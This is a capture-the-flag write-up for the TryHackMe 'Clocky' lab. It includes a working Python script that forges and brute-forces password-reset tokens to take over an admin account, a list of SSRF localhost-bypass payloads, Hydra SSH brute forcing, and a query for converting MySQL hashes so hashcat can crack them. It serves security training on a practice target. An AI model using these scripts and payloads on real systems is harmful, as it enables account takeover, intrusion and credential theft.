# Clocky

{% embed url="<https://tryhackme.com/r/room/clocky>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a Nmap scan and discover four open ports. `22` on which SSH is available and on ports `80`, `8000`, and `8080`, we are dealing with web servers. On `80` with `Apache HTTP 2.4.4`, and on `8000` with `nginx 1.18.0` and `8080` `Werkzeug/2.2.3 Python/3.8.10` .

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7mVK5AsCFSnG4VPNLsRR%2Fgrafik.png?alt=media&#x26;token=27853b6c-8977-4dce-8406-4c795bc4d6a8" alt=""><figcaption></figcaption></figure>

Furthermore, we find three disallowed entries in the `robots.txt` on the nginx webserver.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/clocky]
└─$ nmap -sC -sV -p 22,80,8000,8080 clocky.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-29 22:37 EDT
Nmap scan report for clocky.thm (10.10.1.135)
Host is up (0.039s latency).                                                                                                                       
                                                                                                                                                   
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d9:42:e0:c0:d0:a9:8a:c3:82:65:ab:1e:5c:9c:0d:ef (RSA)
|   256 ff:b6:27:d5:8f:80:2a:87:67:25:ef:93:a0:6b:5b:59 (ECDSA)
|_  256 e1:2f:4a:f5:6d:f1:c4:bc:89:78:29:72:0c:ec:32:d2 (ED25519)
80/tcp   open  http       Apache httpd 2.4.41
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 3 disallowed entries 
|_/*.sql$ /*.zip$ /*.bak$
|_http-title: 403 Forbidden
8080/tcp open  http-proxy Werkzeug/2.2.3 Python/3.8.10
|_http-server-header: Werkzeug/2.2.3 Python/3.8.10
|_http-title: Clocky
                                                                                                                  

```

We take another look at the `robots.txt` at endpoint `8000` and confirm the findings from Nmap. We also find the first flag here.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fu1W5hMcKiv4j1Togsmw2%2Fgrafik.png?alt=media&#x26;token=eddcc92d-11f5-48b7-8127-8acccd8c8aff" alt=""><figcaption></figcaption></figure>

Since these entries are explicitly not allowed for crawlers, sensitive information could be hidden here. It is very likely that security by obscurity is the only protection here. We run a Gobuster scan to enumerate all directories, including the file endings `sql`, `zip`, and `bak`. The image shows only the `zip` scan. We find an `index.zip` archive next to `robots.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHkj2rBCrPu8rHA7xNbDx%2Fgrafik.png?alt=media&#x26;token=abcd15a7-6154-47c8-9f13-0a5238bdba4e" alt=""><figcaption></figcaption></figure>

We download and extract the zip archive and find the second flag; we are heading in the right direction.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fq0CbDVgdwdN9xplbtWDh%2Fgrafik.png?alt=media&#x26;token=f4f0b682-7b47-445f-9861-5dc763a43853" alt=""><figcaption></figcaption></figure>

Even though we already have two flags that show us the possible route to take, let's take a look at the other end points. A directory scan on `8080` reveals a dashboard, an administrator page and an option to reset the password.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNmSWfRD066DWwJJxmVIG%2Fgrafik.png?alt=media&#x26;token=5b86687a-3a60-40c3-b704-bc0c394c2f09" alt=""><figcaption></figcaption></figure>

If we visit the index page, we find only a few anchor links and the current time, which is updated when the page is loaded.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNCK0ajAzNbqh1gqHQp1j%2Fgrafik.png?alt=media&#x26;token=7372f1ab-73ae-40a0-98ce-4d7f1d9d2cc8" alt=""><figcaption></figcaption></figure>

If we want to access the `/dashboard`, we are redirected to the `/administrator` page and have to log in. Unfortunately, usernames cannot be enumerated here, and no SQL injection is possible at first glance.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcfD5jB1ODn8gz12RNvK6%2Fgrafik.png?alt=media&#x26;token=dc491f53-de7a-4240-b781-88d19e5377b8" alt=""><figcaption></figcaption></figure>

A directory scan using gobuster did not produce any results on endpoint `80`. Even including the file extensions `sql`, `zip` and `bak` did not yield any results for the time being, since each requested resource leads to a `403`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLeVzZ9h70pSk9WGQ2wBU%2Fgrafik.png?alt=media&#x26;token=a7ac0162-4819-4054-859b-0c5954af1aab" alt=""><figcaption></figcaption></figure>

## Shell As Clarice

The `app.py` is a flask application, maybe the one on port `8080`. It includes routes for user authentication, password reset, and an administrator dashboard. It utilizes a MySQL database for user management and password reset tokens. However, it lacks proper error handling, security measures like rate limiting, and some routes are not fully implemented, indicating areas for improvement in terms of functionality and security. There is also no input sanitization, which indicates a possible SQL injection vulnerabilities. Additionally, there are comments suggesting plans for future development, such as deploying a new application version and implementing rate limiting or using a Web Application Firewall.

We might deal with an older version of `app.py`, since it seems like the debug mode is turned off on the live page.

We are able to extract the routes `/`, `/administrator`, `/forgot_password` we already knew of and a new route `/reset_password`. And also find at least three potential usernames: `clocky_user` as the database user, and `jane` and `clarice` as the potential developers of the application.

Of interest for further abuse is the password reset process. The Users access the `forgot password` page and enter their username. The application checks if the provided username exists in the database. If the username exists, a unique token is generated. The token generation algorithm combines the current timestamp with the username. This concatenation creates a unique string that is then hashed using the SHA-1 hashing algorithm. This token can then be used to reset the user's password via the `password_reset` page.

So, if we have a valid username, we should be able to request a password reset for this user, since we can get the current time of the system from the index page. Furthermore, do we know exactly the format of time, since we can try in Python `str(datetime.datetime.now())[:-4]` which yields a format of `YYYY-MM-DD HH:ss:SS`. This lets us create a valid token `SHA1(CURRENT_TIME . USERNAME)`.

A time synchronization is not possible with the server; even if you recognize the time zone and take it into account in your script and query it, you might be off in seconds, which requires you to brute force more. Hence the approach to get the timestamp from the index page.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2Na9AXj86IkPUiOvxHYU%2Fgrafik.png?alt=media&#x26;token=1637a58c-0cf3-4f59-a603-e4f769997acb" alt=""><figcaption><p>checking the time format used for token creation</p></figcaption></figure>

{% code title="app.py" lineNumbers="true" %}

```python

# Not done with correct imports
# Some missing, some needs to be added
# Some are not in use...? Check flask imports please. Many are not needed
from flask import Flask, flash, redirect, render_template, request, session, abort, Response
from time import gmtime, strftime
from dotenv import load_dotenv
import os, pymysql.cursors, datetime, base64, requests


# Execute "database.sql" before using this
load_dotenv()
db = os.environ.get('db')


# Connect to MySQL database
connection = pymysql.connect(host="localhost",
								user="clocky_user",
								password=db,
								db="clocky",
								cursorclass=pymysql.cursors.DictCursor)

app = Flask(__name__)


# A new app will be deployed in prod soon
# Implement rate limiting on all endpoints
# Let's just use a WAF...?
# Not done (16/05-2023, jane)
@app.route("/")
def home():
	current_time = strftime("%Y-%m-%d %H:%M:%S", gmtime())
	return render_template("index.html", current_time=current_time)



# Done (16/05-2023, jane)
@app.route("/administrator", methods=["GET", "POST"])
def administrator():
	if session.get("logged_in"):
		return render_template("admin.html")

	else:
		if request.method == "GET":
			return render_template("login.html")
		
		if request.method == "POST":
			user_provided_username = request.form["username"]
			user_provided_password = request.form["password"]

			
			try:
				with connection.cursor() as cursor:

					sql = "SELECT ID FROM users WHERE username = %s"
					cursor.execute(sql, (user_provided_username))
					
					user_id = cursor.fetchone()
					user_id = user_id["ID"]

					sql = "SELECT password FROM passwords WHERE ID=%s AND password=%s"
					cursor.execute(sql, (user_id, user_provided_password))

					if cursor.fetchone():
						session["logged_in"] = True
						return redirect("/dashboard", code=302)

			except:
				pass
		
			message = "Invalid username or password"
			return render_template("login.html", message=message)

# Work in progress (10/05-2023, jane)
# Is the db really necessary?
@app.route("/forgot_password", methods=["GET", "POST"])
def forgot_password():
	if session.get("logged_in"):
		return render_template("admin.html")

	else:
		if request.method == "GET":
			return render_template("forgot_password.html")
		
		if request.method == "POST":
			username = request.form["username"]
			username = username.lower()

			try:
				with connection.cursor() as cursor:

					sql = "SELECT username FROM users WHERE username = %s"
					cursor.execute(sql, (username))

					if cursor.fetchone():
						value = datetime.datetime.now()
						lnk = str(value)[:-4] + " . " + username.upper()
						lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
						sql = "UPDATE reset_token SET token=%s WHERE username = %s"
						cursor.execute(sql, (lnk, username))
						connection.commit()

			except:
				pass

			message = "A reset link has been sent to your e-mail"
			return render_template("forgot_password.html", message=message)


# Done
@app.route("/password_reset", methods=["GET"])
def password_reset():
        if request.method == "GET":
                # Need to agree on the actual parameter here (12/05-2023, jane)
                if request.args.get("TEMPORARY"):
                        # Not done (11/05-2023, clarice)
                        # user_provided_token = request.args.get("TEMPORARY")

                        try:
                                with connection.cursor() as cursor:

                                        sql = "SELECT token FROM reset_token WHERE token = %s"
                                        cursor.execute(sql, (user_provided_token))
                                        if cursor.fetchone():
                                                return render_template("password_reset.html", token=user_provided_token)

                                        else:
                                                return "<h2>Invalid token</h2>"

                        except:
                                pass

                else:
                        return "<h2>Invalid parameter</h2>"
        return "<h2>Invalid parameter</h2>"



# Debug enabled during dev
# TURN OFF ONCE IN PROD!
# This can be very dangerous
# ref https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug#pin-protected-path-traversal

# Use gunicorn?
if __name__ == "__main__":
	app.secret_key = os.urandom(256)
	app.run(host="0.0.0.0", port="8080", debug=True)


```

{% endcode %}

Unfortunately, the password reset field does not offer the possibility to enumerate the users; for every username we enter, we receive a valid confirmation. So we have to request a reset for every user we have enumerated so far in the hope of catching an existing one.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNQ0tZ03l6pviIaIXjfdp%2Fgrafik.png?alt=media&#x26;token=cb9f374f-eab9-4965-8708-c07ba078e7d6" alt=""><figcaption></figcaption></figure>

When we access the `password_reset` page, we are told that we have entered the wrong parameter. We have not entered one here.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiIaYkJgcjLaYwXkxZLu4%2Fgrafik.png?alt=media&#x26;token=60bd63ee-6029-4ae6-a3f8-06dadc8b6010" alt=""><figcaption></figcaption></figure>

The use of the `TEMPORARY` parameter leads to the same note. It's probable that the parameter changed and the `app.py` we received from `index.zip` is outdated.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzTY9ft1mInM0cLJFmGtH%2Fgrafik.png?alt=media&#x26;token=8a84323a-1d9d-478f-83c9-271a98082d0f" alt=""><figcaption></figcaption></figure>

To enumerate the correct parameter, we can make sure of `s0md3vs` tool called `Arjun`. Or we could just guess the correct one in this case. As the site expects tokens, the parameter could be named like something related to tokens.

{% embed url="<https://github.com/s0md3v/Arjun>" %}

We run Arjun and see that `token` is the correct parameter.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUf2bgXrX9IpXvUb6tZCJ%2Fgrafik.png?alt=media&#x26;token=fe8b587c-1dea-4ffe-9251-c86ca4c1ccef" alt=""><figcaption></figcaption></figure>

Upon accessing the page and providing an arbitrary token with the parameter, we get the hint that it's an invalid token instead of an invalid parameter.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRDnF0fHKXnEYFRdQJANv%2Fgrafik.png?alt=media&#x26;token=3ec8952b-7c97-4189-8581-2ffe8e667b7b" alt=""><figcaption></figcaption></figure>

We now have to create a script that uses the password reset process described before. To do this, we pass a lsit of usernames to the script, for which the password reset is triggered, and at the same time, the index page is called in order to obtain the current time stamp of the server.

Now we only have a small problem; the milliseconds are missing in the timestamp and cannot be determined with a separate call with the correct time. So we create 100 timestamps with all millisecond combinations, use them to create the tokens. Then we brute force the reset\_password page with the created tokens. If we get a response without the content of `Invalid token`, we have the correct token and query the reset with it.

{% code title="reset.py" lineNumbers="true" %}

```python
import sys
import datetime
import hashlib
import requests
import re

def read_file(filename):
    try:
        with open(filename, 'r') as file:
            content =  [line.strip() for line in file.readlines()]
            return content
    except FileNotFoundError:
        print('File \'{}\' not found.'.format(filename))
        
def reset_password(url, data):
    try:
        response = requests.post(url+'/forgot_password', data=data)
        time_response = requests.get(url)
        if response.status_code == 200:
            print('Password reset successful!')
            
            if time_response.status_code == 200:
                time_pattern = r'The current time is (\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})'
                match = re.search(time_pattern, time_response.text)
                if match:
                    current_time = match.group(1)
                    print('Current time:', current_time)
                    return current_time
    except Exception as e:
        print('An error occurred: {}'.format(str(e)))

def calc_tokens(username, timestamp):
    tokens = []
    for i in range(100):
        lnk = timestamp + '.' + format(i, '02') + ' . ' + username.upper()
        hashvalue = hashlib.sha1(lnk.encode('utf-8'))
        #print(lnk + ' : ' + hashvalue.hexdigest())
        tokens.append(hashvalue.hexdigest())
    return tokens

def try_tokens(url, tokens):
    for token in tokens:
        token_url = url+'password_reset?token=' + token
        response = requests.get(token_url)
        if '<h2>Invalid token</h2>' not in response.text:
            print('Valid token: {}'.format(token))


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print('Usage: python reset.py <filename>')
    else:
        filename = sys.argv[1]
        base_url = 'http://clocky.thm:8080/'

        for user in read_file(filename):
            print(user)
            data = {
               'username': user
            }
            timestamp = reset_password(base_url, data)
            try_tokens(base_url, calc_tokens(user, timestamp))
            print('---------------------------------------------------------')

```

{% endcode %}

Next, we craft a users.txt which contains all possible users we found so far, including standard usernames like `admin` and `administrator`.

{% code title="users.txt" %}

```
administrator
admin
clocky_user
jane
clarice
clocky
```

{% endcode %}

We run the script and get a hit on `Administrator`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtAzVtWsErKfQu1PanwAM%2Fgrafik.png?alt=media&#x26;token=d8d89b49-2de3-4cb0-9c10-0347f2dff340" alt=""><figcaption></figcaption></figure>

We use the found token to query a password reset for the user `Administrator`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5bG50tCywmrUMiZGBRLD%2Fgrafik.png?alt=media&#x26;token=a7923426-f287-4324-b223-b38c950ead25" alt=""><figcaption></figcaption></figure>

Next, we log in as `Administrator` with the new credentials...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FV6ftGqDRMI6L5YgYDN0T%2Fgrafik.png?alt=media&#x26;token=71be72fd-8eb0-4cbf-a858-969e1d9744b3" alt=""><figcaption></figcaption></figure>

... and are redirected to the dashboard, where we find the third flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCuB4L97q4lxRXDKwvZ2m%2Fgrafik.png?alt=media&#x26;token=431fb433-f0c4-466a-a852-313c46141300" alt=""><figcaption></figcaption></figure>

We try to receive files on the system using `file://etc/passwd`, but that does not work. We know we still have restricted access to the endpoint on port `80`, so try to access this via `http://127.0.0.1/`. We get a message, that the `action is not permitted`. We are dealing with SSRF with restrictions. So we should be able to somehow bypass it.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXW1mxpNWHE30dnoLkEHC%2Fgrafik.png?alt=media&#x26;token=deb4d8ee-29de-469e-bcaa-739e00205375" alt=""><figcaption></figcaption></figure>

The following resource gives some payloads to bypass it.

{% embed url="<https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass>" %}

With `http://0:8080/`, we are able to access the endpoint `8080`.

```
http://0:8080/
```

Unfortunately, on port `80`, we get a `400 Bad Request` response—at least something.

```
http://0:80/
```

```
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>

```

Further trying leads to using the potential hostname, which gives us a `200` response with just the heading `Internal dev storage`.

```
# DNS to localhost
```

```
http://clocky:80/
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDzepWPGTfQ4I6O7asAHH%2Fgrafik.png?alt=media&#x26;token=f48d9fb8-902f-4de8-a307-e809f0ad32c5" alt=""><figcaption></figcaption></figure>

Ideally, this can also be automated and solved with the Burp Suite Intruder. In the initial solution, another possibility has been overlooked, namely that the resource on port `80` can also be accessed via `http://0x7f000001/`. The steps in Burp Suite are broken down here: First catch the request at `/dashboard` and pass it to Intruder.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTjnPAdqd3nLaLNk7XDPf%2Fgrafik.png?alt=media&#x26;token=09d7010e-051a-4167-9d72-5cf112d8e262" alt=""><figcaption></figcaption></figure>

Next, use the list of Hacktricks mentioned before, and paste or load it in the payload settings. Slight additions have to be made, remove the comments and the comments with `=`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRowgPre11OnfZhEO9Pz9%2Fgrafik.png?alt=media&#x26;token=73023245-9b01-4ae7-ad5a-65eda9fe56f5" alt=""><figcaption></figcaption></figure>

Here is the edited list:

{% code title="URL Format Bypass" %}

```
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.⓪
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821
http://2130706433/
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/
http://0xc0a80014/
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
127.000000000000.1
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
http://clocky
http://clocky.thm

```

{% endcode %}

After starting the attack, two entries with a length of `270` bytes yield a successful bypass.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEoIUy5FfiXOhl6Zd8QbM%2Fgrafik.png?alt=media&#x26;token=f7d06ee4-2aab-40ad-8078-395bffc63235" alt=""><figcaption></figcaption></figure>

We recall our finding of `robots.txt` at the endpint at `8000`. Maybe there are some files hidden, like they were there.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Frr141Xb8164UDTnvSoD8%2Fgrafik.png?alt=media&#x26;token=3b3a384c-021c-4a66-b774-94c24510e19a" alt=""><figcaption></figcaption></figure>

After a lot of guessing, we find a SQL file. It was mentioned in a comment in`app.py`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiqTgqLUkUInapLmBbpvN%2Fgrafik.png?alt=media&#x26;token=11f209dd-3e04-46ce-adda-2cdc837f4fda" alt=""><figcaption></figcaption></figure>

```
http://clocky:80/database.sql
```

Here we have the fourth flag and some credentials.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FP8GKFT4aoG8g2pW8DGWC%2Fgrafik.png?alt=media&#x26;token=7874f972-9c44-4ab0-8da8-b2013a6d3dd5" alt=""><figcaption></figcaption></figure>

Recalling the users we found in `app.py` and including some common ones, we attempt to brute-force the SSH login with Hydra, in case those credentials were reused.

{% code title="users.txt" %}

```
admin
administrator
clocky_user
jane
clarice
clocky
root
```

{% endcode %}

We have a hit for the user `clarice`.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtiuEqBhw6yLoAeCv5Lhv%2Fgrafik.png?alt=media&#x26;token=25141ba2-ba92-493c-987b-b14199a26325" alt=""><figcaption></figcaption></figure>

We SSH into the system as `clarice` and locate the fifth flag within the user's home directory.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8q6lyOQLSk7uhm8kam0F%2Fgrafik.png?alt=media&#x26;token=eb960b3a-3024-4bd7-88fb-ed314ce76642" alt=""><figcaption></figcaption></figure>

## Shell As Root

During system enumeration, we uncover the reference password for the database user mentioned in `app.py`, located at `/home/clarice/app/.env`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5vPciIwFmMLnd1viMeZO%2Fgrafik.png?alt=media&#x26;token=3f32a1f9-5fe8-499e-a462-0fec42f013ed" alt=""><figcaption></figcaption></figure>

With this information, we successfully enumerate the app's database. However, we find no additional entries.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaTdeGxzm4YFKjPP5TDgm%2Fgrafik.png?alt=media&#x26;token=58db3d5c-6d2f-46d9-917d-bdcdf7f5b488" alt=""><figcaption></figcaption></figure>

Being desperate, we look into the mysql database and find some users with passwords. In MySQL, the `authentication_string` column in the `mysql.user` table contains the hashed password or authentication string for each user account. However, the format of these hashes does not precisely match any examples in hashcat.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJ9BXZnDTDmRmYElRch3l%2Fgrafik.png?alt=media&#x26;token=d1cf4b8c-4742-46cb-8d2d-2d945453d509" alt=""><figcaption></figcaption></figure>

We only have a partly match with `$A$500` with the mode 7401. A specific hash type, that can only be found in specific systems.&#x20;

{% embed url="<https://hashcat.net/wiki/doku.php?id=example_hashes>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxjcEahDPVMWcKOvck2mB%2Fgrafik.png?alt=media&#x26;token=3fe8f2c1-1d62-427d-b77d-a4286d618d0f" alt=""><figcaption></figcaption></figure>

Researching on the `7401` mode, we find a pull request adding `7401`. There, we can extract the method to get the hash valid for hashcat.

{% embed url="<https://github.com/hashcat/hashcat/issues/2305>" %}

There, you can find a discussion on how that hash should be processed. The comments discuss challenges with encoding consistency when using SHA256Crypt and MySQL, noting that MySQL employs a non-standard base64 variant. It suggests options such as converting all data to hex for consistency, creating custom encoding/decoding functions, pre-processing/post-processing data, or exploring alternative storage solutions to address these challenges.

With the following query by [**philsmd**](https://github.com/philsmd) the hash can be converted to one compliant with hashcat.

```
SELECT user, CONCAT('$mysql',LEFT(authentication_string,6),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1MVHkIuTjjNuJabpwZQv%2Fgrafik.png?alt=media&#x26;token=6bcb04b6-4955-4bd6-b2d8-2a32f1c31ecb" alt=""><figcaption></figcaption></figure>

Using Hashcat with `rockyou.txt`, we are able to crack the hash of user dev - with a hash starting with`$mysql$A$005*1C1` - and retrieve the password of `dev`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVTdsutI3zDxClac1RtDT%2Fgrafik.png?alt=media&#x26;token=fdc57c19-cc0c-4415-bb08-08d2b155e885" alt=""><figcaption></figcaption></figure>

It turns out the password was already in use for root. We change the user to root and find the final flag in `/root/flag6.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fu23U0YEsRSwmtnKH8kIV%2Fgrafik.png?alt=media&#x26;token=3165b4d9-a16d-4583-ae08-29ceb00ac03b" alt=""><figcaption></figcaption></figure>
